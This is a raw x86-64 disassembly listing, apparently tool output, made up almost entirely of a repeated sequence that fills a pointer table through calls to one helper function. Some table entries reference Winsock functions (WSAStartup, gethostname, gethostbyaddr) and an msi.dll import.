add rbp, qword [0x141ef6030]
movabs rdx, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x24
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x24
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x25
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x25
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x26
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x26
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x27
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x27
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401dd05a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x28
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x28
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401d2b2c
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x29
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x29
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401d46da
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x2a
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x2a
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, reloc.msi.dll_MsiGetActiveDatabase
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x2b
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x2b
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c76a8
lea rcx, [rbp]
call fcn.1400f2e70
mov qword [0x141ef6050], 0x2c
mov qword [0x141ef6058], 2
sub rsp, 0x18
movabs rax, 0x141ef6048
push rax
movabs r9, 0x1401dd670
mov r8, 8
mov rdx, 8
mov rcx, 2
sub rsp, 0x20
call fcn.1400e5720
add rsp, 0x40
mov qword [0x141ef6048], rax
mov rax, qword [0x141ef6050]
imul rax, rax, 0
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401d499a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401ca244
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401cb45e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401ca2d6
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
add rax, rax
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401d2b20
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
add rax, rax
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401d43b0
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 3
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401d46ce
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 3
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401ca5a8
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
shl rax, 2
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401c9820
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
shl rax, 2
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401cf1a0
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 5
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401cd25c
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 5
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401ca5b2
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 6
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401d9b82
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 6
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401cbaf0
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 7
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401c26e2
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 7
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401cd7fc
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
shl rax, 3
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401c3e8e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
shl rax, 3
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401cbc2e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 9
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401c75ae
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 9
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401d09d0
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0xa
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401dce28
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0xa
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401cbc92
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0xb
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401d3bbc
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0xb
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401cbd3c
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0xc
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401d2076
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0xc
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401cbb44
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0xd
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401d9982
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0xd
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401cbbaa
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0xe
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401db46c
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0xe
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401cbe8e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0xf
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401d3f1e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0xf
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401d42fc
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
shl rax, 4
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401d97fa
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
shl rax, 4
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401cbea4
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x11
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401cebc2
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x11
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401cf3f2
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x12
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401cebb6
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x12
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401cd684
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x13
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401d649e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x13
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401cd6b4
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x14
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401cd6a8
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x14
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401d458c
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x15
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401c616e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x15
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401cd7c0
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x16
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401c9814
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x16
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401d0a0c
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x17
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401db1dc
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x17
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401d0ad0
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x18
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401d072a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x18
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401d4582
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x19
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401c64f4
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x19
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401cd988
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x1a
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401d3bb0
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x1a
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401cdaea
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x1b
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401c9d7e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x1b
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401cdbb4
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x1c
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401c6072
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x1c
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401d7d0c
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x1d
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401d97ee
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x1d
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401cdc66
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x1e
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401dce1c
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x1e
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401cdc9c
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x1f
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x1f
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, reloc.WS2_32.dll_gethostname
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
shl rax, 5
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
shl rax, 5
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401cf1c4
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x21
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x21
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401d08f8
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x22
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401c26d6
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x22
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, reloc.WS2_32.dll_gethostbyaddr
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x23
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x23
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401cf204
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x24
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x24
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401cf2c8
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x25
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x25
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401cf37a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x26
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401cfe64
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x26
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401cf41a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x27
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401dd04e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x27
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401d0cba
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x28
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x28
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401d7df2
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x29
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x29
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401d6200
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x2a
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401c5f34
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x2a
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401d0d4e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x2b
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401c769c
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6050]
imul rax, rax, 0x2b
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6048]
movabs rdx, 0x1401d45c8
lea rcx, [rbp]
call fcn.1400f2e70
mov r9, 8
movabs r8, 0x1401dd670
lea rdx, [0x141ef60a8]
mov rcx, 8
call fcn.1400e9a58
push qword [0x141ef60a8]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60b0]
movabs rdx, 0x1401dc110
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
push qword [0x141ef60a8]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60b0]
movabs rdx, 0x1401dcf7a
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
push qword [0x141ef60a8]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60b0]
movabs rdx, 0x1401c5308
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
push qword [0x141ef60a8]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60b0]
movabs rdx, 0x1401dc4ae
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
push qword [0x141ef60a8]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60b0]
movabs rdx, 0x1401d760c
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
push qword [0x141ef60a8]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60b0]
movabs rdx, 0x1401c1afc
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
push qword [0x141ef60a8]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60b0]
movabs rdx, 0x1401c1032
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
push qword [0x141ef60a8]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60b0]
movabs rdx, 0x1401dc64a
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
push qword [0x141ef60a8]
pop rcx
call fcn.1400e9b38
